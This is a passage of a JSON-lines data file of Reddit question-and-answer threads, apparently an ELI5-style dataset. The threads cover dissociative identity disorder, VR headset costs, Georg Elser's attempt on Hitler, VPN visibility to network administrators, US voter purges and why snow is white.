(2002), Alters in dissociative identity disorder: Metaphors or genuine entities?, *Clinical Psychology Review.*\n\n2. Greener, (2017), New insights into delusional misidentification syndromes, *Progress in Neurology and Psychiatry.*\n\n3. Blom, (2014), When doctors cry wolf: a systematic review of the literature on clinical lycanthropy, *History of Psychiatry.*\n\n4. Mondal et al., (2014), The \u2018snake\u2019 man: Ophidianthropy in a case of schizophrenia, along with literature review, *Asian Journal of Psychiatry.*", "**Short Answer:** Yes. For example, a study done in 1990 examines case studies of animal alters in great detail. \n\nSource:  Hendrickson, K. M., McCarty, T.  &  J. M. Goodwin. (1990). Animal alters: Case     reports. Dissociation, 3(4), p. 218-221.\n\n**Long Answer:** Dissociate Identity Disorder (DID) is incredibly complicated and, as it has gotten more common, controversial. Different psychologists believe different things but we are going to just go off the DSM-5 definition, because that's the official definition, so bite me.\n\nThe most important part of DID as it relates to this question is the first criteria which states that patients must have two or more personalities that \"involve(s) marked discontinuity in sense of self and sense of agency, accompanied by related alterations in affect, behavior, consciousness, memory, perception, cognition, and/or sensory-motor functioning. These signs and symptoms may be observed by others or reported by the individual.\" Nowhere does it state they have to be human.\n\nTo get a little further into the weeds. Alters are believed to be formed due to specific trauma, normally during childhood. If it happens early enough in childhood, it's possible that the child wouldn't have a full grasp on their identity as a \"human\" and might develop a non-human alter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://ww1.cpa-apc.org/Publications/Archives/CJP/2004/october/piper.pdf", "http://journals.sagepub.com/doi/pdf/10.1177/070674370404900904"], [], []]}
{"q_id": "49zo32", "title": "if the computer a vr headset is plugged into does all the rendering/cpu/gpu usage, then why are vr headsets so expensive?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49zo32/eli5_if_the_computer_a_vr_headset_is_plugged_into/", "answers": {"a_id": ["d0w5e36", "d0w6qn7", "d0w71p2", "d0w9mgz", "d0wap7m", "d0wkaao", "d0wvisn", "d0wyq5g"], "score": [217, 8, 6, 88, 2, 9, 2, 2], "text": ["A VR headset has two high resolution screens, a gyroscope to track head movement, as well as optional hand controls.", "The small screens need to be high density high resolution with high refresh rates.\n\nLower density gets your screen door effect.\n\nLower refresh gets you ghosty images or delayed images leading to motion sickness.  \n\nThe gyroscope needs to be high fidelity with minimal drift.\nLower quality makes delayed or inaccurate images leading to motion sickness\n\n", "Check out Google Cardboard. \n\nAfter you experience the \"screen door effect\" that /u/fryguy101 mentions, you'll really understand. It's very annoying. \n\ntldr; when your eye is that close to the screen, even an HD screen shows the pixels.", "Well let's look at one specifically; the Oculus Rift. \n\nSo what's on board one of these things? The screens are the big one. They had to get together with a screen manufacturer to basically develop a product that didn't already exist. The dev kits used off the shelf cell phone screens which simply weren't good enough for the final product. There are 2 of these.\n\nBetween those screens and your eyes are high quality lenses to keep the screens in focus. Nothing major, but they add to the final cost, along with the onboard electronics that drive the screens.\n\nOculus also integrated headphones, to ensure all users get a good audio experience to go along with the visual one. They licensed the 3d audio tech for them too, so that all ups the cost.\n\nNext is the sensor you put on your desk that tracks the headset's actual movement. Think of it like a less complex Kinect.\n\nAnd finally there's the Xbox One controller, and small media remote that are packed in with every one. Basically the headset is pretty technologically advanced, but probably only amounts for half to 3 quarters of the cost. The rest is the pack-ins, and a little extra to cover R & D. The good news is that R & D cost will fall fast, as will component price. They won't be this expensive for more than a few years, and the tech will improve too.\n\n", "Another thing to consider is this is really bleeding edge technology so early adopters are paying for R & D that it took to produce these products. As we see the HMD become more common place the prices will go down as the number of units produced rises. This also will applies to the cost of the manufacturing process as it will be specific to this one product the more produced the less burden is placed on each item.", "You are essentially buying very small +fullHD display with +90hz refresh rate, sub-2ms draw delay, low persistence, gyroscopes attached to detect motion and movement on six axis, and optics to display this all at right distance.\n\nThat costs money. Ordinary high refresh rate full hd display already costs much, but this also has to be low persistence and light and small enough to be wearable.", "I would say they put some research into it and they want those funds back. rest is marketing", "because facebook wants to recoup the 2 billion dollars they spent on the super advanced technology required to mount a phone in front of your face."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "5er0of", "title": "Can any modern/recent European Royal Families claim direct descent from the Carolingians?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5er0of/can_any_modernrecent_european_royal_families/", "answers": {"a_id": ["daem1sk"], "score": [5], "text": ["The male line carolingian dynasty is gone, it has been for around a thousand years. If you are asking about claims in the female line, absolutely! Almost too many to count. The Capetian Kings of France who succeeded the Carolingians traced female descent from Charlemagne. Their cadet branch, the Bourbons are still in power in Spain and Luxembourg (albeit as figurehead monarchs). More importantly, almost every European royal family has married into this family at some point, so if we use this as the standard every royal family has some descent from Charlemagne."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1nl8fe", "title": "In 1939 Georg Elser tried to assassinate Adolf Hitler. The official story is that he worked alone, but there seems to be evidence to the contrary. What do you think?", "selftext": "I have known the story of Georg Elser's 1939 failed bomb attack on Hitler at the B\u00fcrgerbr\u00e4ukeller for some time.  The official story is that he was captured shortly after the attack as he crossed the Swiss border.  He was immediately suspected because authorities had found.. \n\n > In his pockets were found a pair of pliers, sketches of grenade and fuse designs, pieces of a fuse, a picture postcard of the B\u00fcrgerbr\u00e4u hall's interior; a badge of the former \"Red Front\" Communist movement was found concealed under his lapel.\n\nThis always seemed quite strange to me. Not exactly wise to be carrying these things around with you after you have just tried to assassinate the F\u00fchrer.  But I never thought much more about it.  At any rate, Elser was kept imprisoned as the \"special prisoner of the F\u00fchrer\" at concentration camp Sachsenhausen until he was transferred to Dachau at the end of the war and died under suspect circumstances as the war in Europe finished.\n\nRecently, I have discovered that there are other scenarios that have been presented.  Possibly that he had indeed been guided by the British Secret Service as the Nazis had said, and also possibly that he had actually been set up by the Nazis themselves (either with or without the knowledge of Hitler himself) to use him as an excuse for aggression against Great Britain.\n\n[This page presents some of the other information, as well as sources.](_URL_0_)\n\nI'm curious what people here think about this?\n\nI have to admit, I always found the Elser story strange.  Strange because of the suspect circumstances in which he was discovered, and suspect because of his .. well ... frankly \"uninspiring\" quotes that have lived on as his epitaph:\n\n\"Ich habe den krieg verhindern wollen\" (I wanted to stop the war)\n\n\"Ich wollte ja durch meine Tat ein noch gr\u00f6\u00dferes Blutvergie\u00dfen verhindern.\"(I wanted to stop a greater bloodbath through my deed)\n\nThose were the most quotable quotes from a man who tried to kill the F\u00fchrer?  That was the length and breadth of his manifesto?  Or were those just reported as his words?  Exactly how was it so easy for him to hide out and plant a bomb over the course of days in the spot where Hitler would speak?  How unbelievably lucky that Hitler called his speech short?  Why in the world would Elser have a postcard of the B\u00fcrgerbr\u00e4ukeller and a communist pin on him (literally right there on his jacket!) as he tried to cross the German border?  That is something that I have real difficulty wrapping my head around.\n\nI always took the story at face value because I didn't realize there were other possibilities.  But what do people here think about those other scenarios?  There seem to be multiple references from different sources of \"two figures\" who aided Elser.  British Captain S. Payne Best says that he knew, and was communicating with Elser (who was a co-prisoner at Sachsenhausen) a full month before the assassination attempt was carried out, and remembers Elser \"making an agreement\" with the Nazis.\n\nIs any of this credible?  Is it all just conspiracy fluff?\n\nDid Georg Elser act alone?\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1nl8fe/in_1939_georg_elser_tried_to_assassinate_adolf/", "answers": {"a_id": ["ccjqv9b"], "score": [4], "text": [" > Is it all just conspiracy fluff?\n\nEssentially, yes.\n\nElser is a very curious case. The recent book \"Rote Kapellen. Kreisauer Kreise.\" spends quite a few pages on Elser and the relation to Captain Best and the way he was defamed during and after the war. I don't have the book handy (and the library will be closed tomorrow for our national holiday), but I can look into it if I get the chance. Essentially, Best never had any close contact to Elser and simply repeated rumours floating around the KZ. The authors conclusion, if I reall correctly, was that Best was an incapable agent who fell victim to a Gestapo sting operation and tried to rescue his reputation at the expense of Elser. \nNiem\u00f6ller, who perpetuated similar rumors in Germany long after 1945, also had no close contact to Elser in Sachsenhausen. There are letters between Elsers mother and him where she tries to restore her sons reputation; unsuccessfully for the first decades after the war. The assassination attempt was long interpreted the same way it was in foreign press shortly after: an inside job. \n\nRumours about conspiracies involving Elser, either with the SS or British secret service have been disproved since the late 1960s, when protocols of his interrogations were found in the files of the Reich Ministry of Justice, which conclusively proved that Elser acted alone and had no contact to either British Secret Service, Strasser or the SS. For example, he could reproduce every step necessary to building and placing the bomb, on his own, proving there was no need for outside assistance.\nAnton Hoch reviewed all available sources on Elser and came to similar conclusions\nThe relevant works here are\n\n* Lothar Gruchmann (ed.): *Johann Georg Elser - Autobiografie eines Attent\u00e4ters. Der Anschlag auf Hitler im B\u00fcrgerbr\u00e4u 1939*. Stuttgart 1970.\n\n* Anton Hoch: *Das Attentat auf Hitler im M\u00fcnchner B\u00fcrgerbr\u00e4ukeller 1939*, in: Vierteljahreshefte f\u00fcr Zeitgeschichte No. 17, 1969, p. 383\u2013413\n\nThe reason he had incriminating evidence with him was to prove to the outside world that he was indeed the one responsible, as this would probably help him in preventing Switzerland to simply extradite him back to Germany and certain execution. \nThe reason that his execution didn't went through proper channels was that his murder was part of a 'clean-up' shortly before the downfall of the regime, carried out by Kaltenbrunner probably on personal orders by Hitler, to which also Oster, Canaris, von Dohnanyi, Bonhoeffer and others fell victim. \nThat his surviving quotes seem uninspiring for such a huge deed might seem surprising, but it fits the picture. He was just an ordinary man, with not much to distinguish him from millions of other German workers at the time. A catholic, who didn't go to church much, and a communist that rarely went to party meetings. The difference is that he chose to act and had the capability to do so. And what better reasons can there be than the ones he gave?\n\nOn the question of how easy it was to plant the bomb: It didn't take just a few days, it took a whole month. Due to his work in a quarry, he had access to explosives. He hid himself in the B\u00fcrgerbr\u00e4ukeller and let himself be shut in after hours. Which cannot have been that difficult, since it was essentially a large pub and security nonexistent, apart from the occasional waitress staying late (I think there was one instance where he was almost discovered). "]}, "title_urls": [], "selftext_urls": ["http://www.scrapbookpages.com/DachauScrapbook/ElserExecution.html"], "answers_urls": [[]]}
{"q_id": "39k58g", "title": "what exactly do network administrators see when i am using vpns to surf the internet?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/39k58g/eli5_what_exactly_do_network_administrators_see/", "answers": {"a_id": ["cs415ld", "cs41auc", "cs42zx0", "cs4450c"], "score": [7, 8, 3, 2], "text": ["They see the location where your vpn is putting you. E.g 111.456.16.14 \ud83d\udcf6United States. I'm sure they can look further to find the real location but it's usually too much effort. (Tested in private hosted server)\nEdit: Correct me if I'm wrong.", "Check if you have a different IP before and after you connect. That would give you a better idea if you're still actually connected to the VPN. I've seen VPN's that say you're connected while nothing really happened.\n\nAlso, assume that your network admin at work can still see what you're doing because they might have some software on your pc that shows them what your doing, no VPN will counter that.", "Hi Network Admin here,\n\nit depends \"how intrusive\" the network admin is... \n\nif you use hotspot shield, all your connections get first sent to the hotspotshield server and then forwarded to the destination. \n\nHSS is a application vpn, so he could catch the certificate create a new one and send his certificate to HSS and pretend he is you. \n\nIf he does this can see everything you do, every site you browse and ... yeah ... everything. But this is very hard to accomplish, so i don\u00b4t think he does this. \n\nIts more likely that he just sees you accessing 1 Serveraddress all the time (the HSS Server Adress), but he cant see whats in the Data package so he has no clue what you are doing. \n\nI have never heared of Getprivate, so i have no idea how Getprivate works but i assume its the same as HSS.\n\n\nBUT as /u/tdelang sayed it is possible that he has a external software that is able to overwatch and controll your PC so he would be again able to see everything you do. \n\nBut seriously ... as a Sysadmin i have better things to do than looking at your Network traffic ... the only reason to look at your specific traffic is that i specifically dont like you... but that only counts for me so I dont know if its the same for other Admins\n\nEdit: typo in usertag", "If you can connect to a Virtual Private Network (this is what Hotspot Shield does), that means your network administrator is not so good at his job. We normally block everything that isn't work-related.\n\nCheck IP as /u/tdelang said. I don't think he is skilled enough to manage certificate injection as /u/Aaron2402 mentioned.\nActual problem here, you don't have full control on your work computer. You may already have a trojan installed on it. Bad admins takes this way.\n\nSo, if you can use a tablet or anything that anyone else can't monkey with, that's a much better choice. \nYou need your own system (computer, smartphone, whatever) and a VPN."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4b0iqh", "title": "When and why did colonists of the Americas stop identifying as English, Spanish, or Portuguese?", "selftext": "What caused different cultural identities to develop, despite colonial culture being almost indistinguishable from that of the mother country, even after independence?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4b0iqh/when_and_why_did_colonists_of_the_americas_stop/", "answers": {"a_id": ["d15e3j7"], "score": [3], "text": ["First, let's take a look at creoles in Iberian colonies. The divide between the penisulares (white Iberians from the peninsula) and creoles (white Iberians from the Americas and West Indies) was very real. The creoles were considered inferior, and we oppressed by penisulares and the mother nations, and as such developed a separate culture, largely out of necessity. In Anglo colonies, things were a bit different. While assimilation was forced and the colonies held a largely similar culture to the island across the pond, they've been on this vastly different, isolated landscape, surrounded by both Natives and West Africans, their whole lives, thus developing a different culture based on surviving the wilderness and interacting with different cultures\n\n_URL_0_\n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nps.gov/saan/learn/historyculture/history3spaniards.htm", "http://www.livescience.com/28945-american-culture.html"]]}
{"q_id": "2lr7o8", "title": "How did the inhabitants of the English fenlands live? How did they organise their communities? How did they resist the drainage of the fens. What happened to them afterwards?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2lr7o8/how_did_the_inhabitants_of_the_english_fenlands/", "answers": {"a_id": ["clxl5oi"], "score": [6], "text": [" I have been trying to transcribe a probate inventory for my fenland family from the 16th century- a lot of inventories are available from Lincolnshire to view on [lincs to the past](_URL_0_). It shows a holding of cows, horses, oxen and crops , and also a boat- presumably useful transport at the time.\n\nYou can google quite a few references to riots in the Fens when the sluice gates and drains were broken down over the centuries until the final drainage in the 19th century.\n\nAs to what happened to them afterwards- we are still here. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.lincstothepast.com/"]]}
{"q_id": "5dzukg", "title": "why is it a good idea to talk to children like an adult", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5dzukg/eli5_why_is_it_a_good_idea_to_talk_to_children/", "answers": {"a_id": ["da8jhcj", "da8kfzq", "da8v0do", "da8zpvn"], "score": [44, 4, 7, 3], "text": ["Children treated with respect, expectations, dignity, and presented with matter-of-factness of the challenges of everyday life become adjusted to them faster, learn faster, get ahead in school and in life faster, and stand alone as whole adults when they grow up.\n\nKids who have to waste time and resources trying to figure out why their parents are babbling nonsense at them, or who no longer seem to care about them since they're no longer behaving in an infantile manner, face a choice between acting out a masquerade for the sake of their parents' egotistical preferences, or losing parental support (or worse, facing parental condemnation) for developing as humans.\n\nTL;DR: What kind of eighteen-year-old do you want? Kids aren't props nor property. Train a human being, not a babydoll.", "For really young children, apparently this may not be true. _URL_0_", "When first learning to speak, hearing \"baby talk\" where certain sounds are elongated and emphasized can help tots better understand those sounds! The necessity of \"baby talk\" goes away once a child has a strong grasp on the language. At that point it's more beneficial for a toddler to hear how sounds are made in regular conversation, so they can master full sentences and replicated regular speech patterns.\n\nAdditionally, children rely on the concrete to understand the world around them! Using abstract explanations when talking to a child is confusing and will lead to a child needing to re-learn things later in life (an example that comes to my mind is explaining pregnancy/conception by saying \"Daddy loved Mommy so much God helped him plant a seed in Mommy's belly\").", "As long as you're using techniques that confirm understanding, and address the words and concepts that they don't understand with simpler explanations or by breaking down the trickier concepts, it will help them with improved vocabulary building and assist them with how to approach complex ideas and concepts (as well as teaching them at the time).\n\nOne of the things a lot of adults forget is that kids have excellent bullshit detectors and even at very young ages pick up on more than they express or demonstrate in terms of social understanding or language. They may not be able to pin down why they feel certain things about situations or people but their uptake is in overdrive."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.bbc.co.uk/news/science-environment-38007057"], [], []]}
{"q_id": "9prxgo", "title": "what does it mean to purge voters. as a canadian i don\u2019t really understand the american election process but it seems odd to me to let politicians deny people the right to vote, are these people eligible to vote elsewhere or do they just not count anymore?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9prxgo/eli5_what_does_it_mean_to_purge_voters_as_a/", "answers": {"a_id": ["e83w9h1", "e83wikl", "e83y4im", "e83zs4b", "e840w7z", "e841ie0", "e84487h", "e844lha", "e845d7a", "e846czk", "e846e0o", "e847k7z", "e847mz3", "e84948a"], "score": [29, 4, 2, 338, 43, 2, 3, 5, 13, 4, 747, 2, 2, 2], "text": ["A voter purge is technically designed to do things like remove the deceased, those who have moved to different voting districts, and those who have lost the right to vote due committing a felony from the rolls as well as to correct clerical errors that may have been found. Generally they only disenfranchise those that are suppose to be disenfranchised (such as the felons), or those that have forgotten to re-register when they moved. But these purges also tend to purge people that have not actively voted in a long time, people who have had typos or other errors in their registration and that can disenfranchise people. ", "It's a power grab. Apparently, studies show that those most affected by such purges tend to vote for one particular party. True, some of the initiating party's members get ousted, but they usually get it corrected in time, often depending on who's in power at their local level.\n\nThere is a belief that \"Voter fraud\" is rampant in the US, yet very few cases have actually turned up showing voter fraud.", "There's a concerted effort by Republicans to suppress voting by minorities. This has been going on for awhile, progressively getting more bold. Voter suppression is illegal, so they have to use propaganda to make it sound like it's something else--in this case, they started with claiming they were preventing voter fraud.\n\nFor a few years, it was planting stories in various right-wing news sources that voter fraud (such as one person voting twice) was rampant. But almost no voter fraud has been discovered. But they generated outrage to support efforts to make it obligatory to use photo ID to vote--which disenfranchised the very poor, who didn't necessarily have a driver's license for this purpose (it had to be an official government ID, so other types weren't allowed). Simultaneously, they challenged the Voting Rights Act of 1965, because the act meant that many of these efforts to make it tougher to vote were being struck down. The Supreme Court invalidated part of the Voting Rights Act, and immediately, as in the next day, dozens of new laws were introduced to restrict voting to the most vulnerable people. For example, right now in Georgia they instituted an exact match application system where if the slightest difference existed in an official govt. document and the voting application, the application wasn't processed. They started being more aggressive about purging voters on slight pretexts. Just last week, the Supreme Court basically declared it to be OK to disenfranchise Native Americans on the pretext that Native Americans on a particular reservation had only PO boxes, not street addresses, so the state was not obliged to give them permission to vote. The reason they only had PO boxes is that the US mail service won't deliver to their reservation, so they have to use PO boxes to get mail. They've also been closing voting locations particularly in minority neighborhoods, or moving the voting booths to be far away, or decreasing voting hours, etc.", "Voter Purge means the Government removes names from the list of eligible voters.\n\nThis is necessary in America for a few reasons. First, like other countries, death of a voter means their name should be removed. \n\nNext, moving. In the US each state holds its own elections and since a citizen of the US isn't required to tell a state they moved (only required to tell the new state you moved there), this means if you move and register to vote in the new state you are technically registered to vote twice. This is an artifact of America requiring citizens to register to vote themselves instead of having all citizens registered automatically. So States need to check their voter records against other states to makes sure someone doesn't vote in two states.\n\nLastly there is Felony Disenfranchisement. In the US if you are convicted of a felony you lose some of your rights. Depending on the State, voting can be one of them and the lose of the right to vote can extend even after you have served your sentence. \n\nThe reason Voter Purges have been in the news about America recently is because of a push to combat Voter Fraud. While studies show there is almost no instances of voter fraud, a number of states are trying to add new laws to combat voter fraud. One proposed law is to purge voter records of people who did not vote in the last election or in the last few elections. The counter argument to this is that since in America voting is always held on a Tuesday, during normal work hours, and isn't a holiday, anybody that can't get time off has a hard time voting. So purging the voter registration of someone who has a hard time being able to vote is seen as an attack on those people.", "\"Purging\" a voter roll means taking some names off of it because you don't think they belong there. \n\nSome reasons a name might not belong on a voter roll are: \n\n1. The person moved to another state and you want to make sure they can't vote twice. (Every state has it's own voter roll, so if you were on the rolls for two states you might vote in both of them! Not good.)\n\n2. The person has passed away and you want to make sure people can't impersonate the dead to vote twice. \n\n3. Someone made a mistake putting the person in the rolls in the first place, and it's a duplicate or a typo or other error. \n\nBasically, \"purging\" the rolls is meant to clean them up and ensure that people can't be sneaky and cast multiple votes. Unfortunately, if you do this very arbitrarily and purge people based on shaky reasoning like saying that a name isn't the same because of a missing hyphen, that can remove people from the voting rolls who really should be on the rolls and make a lot of people angry. Right now, some people are being accused of purging a lot of legitimate voters who would have voted for the party the purgers don't support. This is obviously not how the system is supposed to work and hopefully we can make sure everyone who should be on the rolls is on the rolls. ", "American context: It means remove voters from the rolls because they do not want them to vote because they are corrupt and dislike democracy. That really is the long and short of it.\n\nRest of the world only purges people who should not be on the list. The Republicans purge pretty much whoever they can get away with, especially crafting it to try and get rid of as many blacks and poor people as possible.", "Correct me if I'm wrong but I'm just trying to sum up some questions that are still unclear for me as a German. \n- it's not necessary to have any kind of identification in your everyday life, so how do you register in a new state after you moved ? How do you identify in front of the police if they check you (taking into account that you don't have a driver's license) ? Do people have birth certificates to identify themselves ? Is it against the law to not have an id card? \nWhy don't states inform the former state that you are now a citizen of their state after you moved , so they can remove you from their voting list? Is there a general registry somewhere that has the information of all the people living in the US (like address, date of birth, social security number and so on) ", "For a Canadian, the big difference is that up north you can always walk into a polling station on Election Day and vote. If you aren\u2019t registered they will add you to the list and you will get to vote. It\u2019s very straightforward. \n\nIn the US, states control federal voting and the rules are a real mishmash. In many states if you aren\u2019t registered at least a month in advance you won\u2019t be allowed to vote on Election Day. Or they will allow a \u201cprovisional ballot\u201d that later gets checked to see if you are eligible.\n\nStates constantly update their voters lists because people move, die, turn 18 etc... Some states are very aggressive about trimming. The stated purpose is reduce voting fraud, but the real reason is to keep people from voting. Low turnouts favour incumbents. ", "Looks like this question came up during USA bedtime, and has a bunch of confused foreigners in it, so here's the deal.\n\nThere are two factors.  First, Americans have a long tradition of not trusting government with lists of citizens' identities, so there is no national ID system or central database of every American and where they live.  I don't have to tell the government when I move to a new place, and and databases kept for specific purposes (taxes, driver's licenses, passports, retirement benefits) are, by law, not supposed to be cross-registered.\n\nSecond, in the US the elections are managed by the states, not the national government.  So even if Washington DC does know who I am, Massachusetts has no way to know that I live there, or what local elections I'm allowed to vote in, unless I tell them I'm an eligible voter and give them my address.  Which is what voter registration is.\n\nSo the ideals behind our voluntary voter registration system go back to the Revolution, but more recently, lawmakers have noticed that if you make it harder for people to register, some of them won't be able to, and if those people happen to be members of your opponent's party, you win.  This has been blatantly abused in the past: 100 years ago, southern states gave impossibly confusing \"literacy tests\" to black voters who wanted to register, but didn't bother testing white voters.  Today it's ... more subtle.\n\nAs for \"purging\" voters, nobody's going down the list and deleting registered Democrats, at least not in so many words.  Instead, it's ostensibly an effort to clean up the databases.  Suppose I'm registered in Massachusetts as J. R. Bob Dobbs, and Massachusetts checks with California and finds that they have a newer registration for me.  Mass might conclude that I moved to California and delete my registration.  Or maybe my name is in their prison roster, and so isn't eligible to vote.  It's all a purely innocent attempt to remove duplicate names ... except maybe it isn't.  Any given de-registration policy is going to impact some social groups more than others, and so impact one party more than another.  And maybe that's by accident ... or maybe it's totally on purpose.\n\nIn my opinion, the American tradition of mistrusting citizen databases does more harm than good, especially since in the modern era the government can track us regardless, and we should just bite the bullet and set up a national ID system.  But there's a lot of resistance to that idea, especially by those who stand to gain from the status quo.", "Purging voters is not necessarily illegitimate; it is fairly common for people to be (innocently) registered multiple times, be registered and not eligible (e.g., not a citizen), or to be dead.  My wife, for example, is currently registered twice under married and maiden names.\n\nEdit: And remember this--every person who votes when they are ineligible disenfranchises the vote of someone who voted for the other candidate.", "I work in my Texas County's Elections dept.\n\nPurging of the voter roll is intended to clear out registration accounts for people who have passed/moved away or otherwise become ineligible to vote while still legally residing in the County (felony conviction, usually).\n\nThis process is routine by every elections department in the country, and the world if logic prevails.\n\nThe problem arises in verifying those various statuses and the mistakes that can arise - or the deliberate manipulation of the process to sway election results, of course.\n\nFor deaths, the county coroner's office sends us a list of decedents every month.  When we have a voter match, a letter is sent to the voter's address asking for verification of death by a relative.  If that comes back signed by a close-family member that dead voter is purged from the voter roll.\n\nIf the letter comes back to us unopened or otherwise unverified, the letter is sent again and then a third time.  If all 3 letters come back or disappear into the postal aether the voter is purged from the roll as deceased.\n\nSimilarly, the Jury Department sends a monthly email of jury service deniers who say they can't serve as they've moved.  The Courts do the same for vote-disqualifying convictions.\n\nAll these people are sent an Address Confirmation request where we ask if they've indeed moved.  If voters have moved elsewhere in the County we update their address to keep their ballot relevant to where they're paying their taxes, or purge them from the voter roll if they've indeed moved away or convicted.\n\nIf there's no answer to these requests and their successors the voter's account is 'Suspended'.  The voter is still on the roll but we want him/her to verify their residence address at first opportunity, which usually happens the next time the voter votes.\n\nAdditionally, the Texas Legislature meets every 2 years, and we send out updated Voter Registration cards to everyone to show any precinct boundary changes that may have occured and to 'ping' the voter they're still on the roll.\n\nIf those cards are returned Undeliverable, the voter is Suspended.\n\nOnce in Suspense, if there's no further interaction with the voter in any capacity the account is purged from the roll under the assumption the voter's moved away from the County.  This happens 2 Federal-level elections after the Suspension date.\n\nVoters recently purged due to Suspension had to have been put into that state prior to the Congressional election of 2014 *and* to have had zero interaction whatsoever with their Elections Dept in the meantime.\n\nThis is my understanding of how it is done in my County and what TX State law requires of us to comply with Federal law.  I believe this is more-or-less true nationally.\n\nI've been working in my Dept right about 2years now (my first day was 4 days prior to Trump's election) and I do basic data entry of new/updated registrations and front desk CSR, so I may be wrong on some of the details of what coworkers do and I offer up my apologies for any errors.", "It means politicians are removing registered voters so they cant vote for whatever reason.\n\nImagine if you were a politician and you got into office and the next vote was coming up. You're trying to get the same votes as last time right? So you put in rules making it harder for people who didn't vote to vote this time. Someone tells you that most of the people who voted against you were old people in retirement homes so you make sure they look extra hard at the voter registrations of retired people to find excuses to disqualify them.\n\nNone of these things have anything to do with whether these people should get a say in politics of course, but if it gets you elected you don't care.", "It's not \"odd\" when you realize that voting is all about retaining power, which is why so many politicians are so willing to go to such extreme lengths to maintain it. These folks are/should be eligible under normal circumstances, but the politicians, and these officials they appoint, find various nefarious bureaucratic means of making voting as difficult as possible, if not all together impossible. Even if what they do is eventually stopped by another authority, they can generally delay implementation of any reforms until the next election after which point they simply rinse  &  repeat the process. \n\nAlways remember, American is NOT a democracy and was never intended to be one. We are a republic that did/has limited voting to as few citizens as possible. At first it was only White, *land-owning* men. Other groups had to fight tooth and nail for the same right over the course of the next several centuries. Heck, it wasn't until 1964 that all peoples in the US were legally allowed to vote without restriction. When you look at today's events through the lens of history, it becomes much less surprising. ", "Voter ID now!\n\nPrevent voter suppression. Prevent voter fraud. Reduce Russian interference in our elections. \n\nFree voter ID cards for all citizens. Almost every developed has this!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1ujgb1", "title": "Why is snow white?", "selftext": "Simple question. Water and ice are clear, and yet snow is white. Why is this? Thank you in advance!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ujgb1/why_is_snow_white/", "answers": {"a_id": ["ceiqhpu", "ceiqj0h", "ceis1s6", "cejffif"], "score": [34, 2, 2, 2], "text": ["Snow forms when water droplets freeze in clouds, and then fall down to the Earth's surface.\nHowever, this freezing of water causes tiny water crystals, but since they form in the sky, they cannot form large crystals as they quickly fall under their own weight.\nThis leads to snow being made up of vast amounts of very small ice crystals as apposed to one big crystal.\n\nSince they form very small crystals, light hitting the snow (from the sun or otherwise) will be reflected from it to our eyes, with which we register the light via our brain.\nHowever, linking back to the fact that snow is many little crystals, the light has a very uneven surface on which to reflect, and so it would be better to say that light is scattered as opposed to reflected by the snow. This gives it a white colour, as it still reflects all wavelengths and therefore colours of the visible light spectrum, however the scattering effect leads to it not being transparent, and therefore clear (colourless) such as ice or water.\n\nEDIT:\nTL;DR: Ice is formed of many minute ice crystals, and so all visible light hitting it is reflected (and scattered) in numerous directions giving it a block white colour.", "_URL_0_\n\nTL;DR: Ice crystals change the direction of light of all colors, basically reflecting back light of every color. As you may have heard before white isn't a color itself, but rather the combination of all colors. Snow reflecting all the colors back makes it look white. ", "Things appear white because they scatter (a more general way of saying reflect) incident light in an inherently random way due to the random distribution of sizes and shapes. Meaning that the directions and colors of the scattered light will will take on many different values. Therefore when you have broadband light incident on such a medium all of the colors will get scattered back to you like a mirror, however because the direction is also random you do not see an image as with a mirror, merely the color white.\n\nMost things that appear white, be it snow, beer foam, paper etc, are working in this manner. With snow it is due to the random distribution of sizes and shapes of the highly scattering ice crystals we call snowflakes.", "The same reason most crystalline powders are white; they scatter visible light without absorbing a significant amount of it. Substances absorb light because they have molecules with electron configurations as such that certain wavelengths have the right energy to excite one up an energy level.\n\nThe crystals scatter light because of all the phase transitions and complex geometry in the powder; resulting in a large amount of diffraction which sends incoming photons every which way.\n\nDiffraction results from boundary layers between mediums that have differing speeds of wave propagation. For light, it has something to do with induced forces between the photon and nuclei. This results in some form of interference between the induced magnetic fields and the field of the photon, ultimately slowing the wavefront.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://science.howstuffworks.com/nature/climate-weather/atmospheric/question524.htm"], [], []]}
